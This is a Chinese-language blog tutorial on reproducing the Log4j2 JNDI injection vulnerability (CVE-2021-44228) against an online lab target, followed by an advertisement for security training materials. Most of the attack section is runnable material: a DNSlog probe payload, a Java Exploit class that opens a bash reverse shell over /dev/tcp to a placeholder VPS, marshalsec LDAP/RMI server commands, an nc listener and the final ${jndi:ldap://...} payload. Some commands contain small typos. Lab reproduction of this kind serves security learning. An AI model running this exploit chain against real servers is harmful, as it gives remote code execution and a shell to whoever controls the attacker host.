嘉兴市网站建设_网站建设公司_博客网站_seo优化
2026/1/12 17:52:33 网站建设 项目流程

目录

Apache Log4j2 漏洞复现

Log4j2:

JNDI:

LDAP和RMI:

JNDI注入原理:

Log4j2漏洞原理:

大概了解过后,接下来就是复现Apache Log4j2 漏洞

一、启动漏洞环境

二、访问靶机

三、编写恶意类文件

四、监听反弹

五、发送payload

六、查看监听结果


Apache Log4j2 漏洞复现

对Apache Log4j2进行漏洞复现,首先需要了解什么是Log4j2以及JNDI、LDAP和RMI、JNDI注入原理以及LOG4J2的漏洞原理。

Log4j2:

Apache Log4j2是一款Java日志框架,是一个就Java的日志记录工具,用来处理日志信息。

JNDI:

JNDI(java命名和目录接口):他提供一个目录系统,并将服务为名称与对象关联起来(可以理解为一个字典)从 而使得开发人员在开发过程中可以使用目录名称来访问到对应的class对象。JNDI下面有很多目录接口用于不同的数据源的查找引用,其中LDAP/ RMI就是其中.

简述为:JNDI相当于是JAVA中的一个api,它可以通过命名(目录)来查找数据和对象

LDAP和RMI:

LDAP:(轻量级目录访问协议)目录是由目录数据库和一套访问协议组成的系统。

RMI:远程方法调用。该协议用于远程调用应用程序接口,是客户机上运行的程序可以调用远程服务器上的对象。

JNDI注入原理:

JNDI注入简单来说就是JNDI接口在初始化时,如果Lookup(xxxx)方法的参数可控,攻击者就可以将传入恶意参 数,通过JDNI去加载恶意的类class,攻击时常用的就是通过RMI和LDAP两种协议。

${jndi:ldap://localhost:9999/Test} EXP:lookup(${jndi:ldap://localhost:9999/Test})

图解:

Log4j2漏洞原理:

Log4j2提供了Lookup功能模块,因为该模块所导致的问题,Log4j在处理打印程序日志记录时,如果日志中包含时,则会去解析其中的值,例如 {} 时,则会去解析其中的值,例如时,则会去解析其中的值,例如{java.version} 会被解析为对应的Java版本,攻击可以利用这一点进行JDNI注入, 使用LDAP/RMI协议,从远程服务器上获取恶意的class文件(对象),并在本地加载返回的Class类,造成命令执行 漏洞。

例如:

${jndi:ldap://localhost:9999/Test}

大概了解过后,接下来就是复现Apache Log4j2 漏洞

一、启动漏洞环境

两种途径:一种是vulhub:log4j2/CVE-2021-44228 docker-compose启动环境

详情就不再这里叙述了,没有搭建过vulhub环境的直接去参考这位博主的即可:

vulhub | vulhub安装教程,有这一篇就够了~(详细图解)-CSDN博客

我这里使用的是在线环境:

封神台 - 掌控安全在线攻防演练靶场,一个专为网络安全从业人员设计的白帽黑客渗透测试演练平台。 (zkaq.cn)

二、访问靶机

d63bb2586.lab.aqlab.cn

页面只存在一个登录框,没有其他信息以及功能点,那就利用Dnslog外带检测dns回显,测试一下

是否存在漏洞。

既然只存在登录框,那我们就利用登录框来传递参数:

${jndi:ldap://${sys:java.version}.kxeqa4.dnslog.cn}

记得后面替换为你获取到的dnslog。

登录,查看dnslog页面是否有数据带出来

数据存在回显,将java的版本号带出来了,那就说明这里存在漏洞。

三、编写恶意类文件

首先需要在/otp目录下安装java环境(可以在云服务器上进行)

官网链接放这里了,最好是下载linx64,1.8版本的。

Java Downloads | Oracle

详细的安装过程可以去参考这位博主的文章,写的很详细:

Linux 下安装JDK1.8.0完整教程(附带安装包)_jdk1.8下载与安装教程linux-CSDN博客

或者直接拉一个tar包

curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linuxx64.tar.gz

我这里在官网直接下载的压缩包(linux系统一定要下载tar包),解压缩

接着创建一个软连接

ln -s /opt/jdk1.8.0_20/bin/java /usr/bin/java8
ln -s /opt/jdk1.8.0_20/bin/javac /usr/bin/java8

记得对一下java的版本号。

到这里基本就可以了,查看一下Java的版本验证是否安装成功。

java8 -version
javac8 -version

安装成功。

可以继续我们的目标,写一个恶意文件Expolit.java,反弹shell到vps(xxx.xxx.xxx.xxx)的5555端口写入恶意的文件中。

首先,创建Expolit.java类文件,反弹shell到vps(ip为xx.xx.xx.xx)的5555端⼝,因

此对应的bash命令为:

sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/5555 0>&1

创建Expolit.java类文件并写入反弹shell的命令

vim Exploit.java
import java.lang.Runtime; import java.lang.Process; public class exp { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash", "-c" ,"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/5555 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }

xxx.xxx.xxx.xxx替换为你要弹到shell 的ip地址。

保存退出。

下一步编译java文件,将Exploit.java文件编译为Exploit.class。

javac8.Exploit.java

在class类文件所在的目录中启动http服务

python3 -m http.server

开启LDAP服务

java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xxx.xxx.xxx.xxx:8000/#Exploit" 1389

或者启动RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxx.xxx.xxx.xxx:8000/#Exploit" 8888

开一个服务就好了哈。

四、监听反弹

再开一个vps页面就好了

nc -lvvp 5555

没有nc的yum装一个

yum -y install nc

五、发送payload
${jndi:ldap://xxx.xxx.xxx.xxx/Exploit}

记得替换ip地址

六、查看监听结果

反弹shell成功。

完事。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询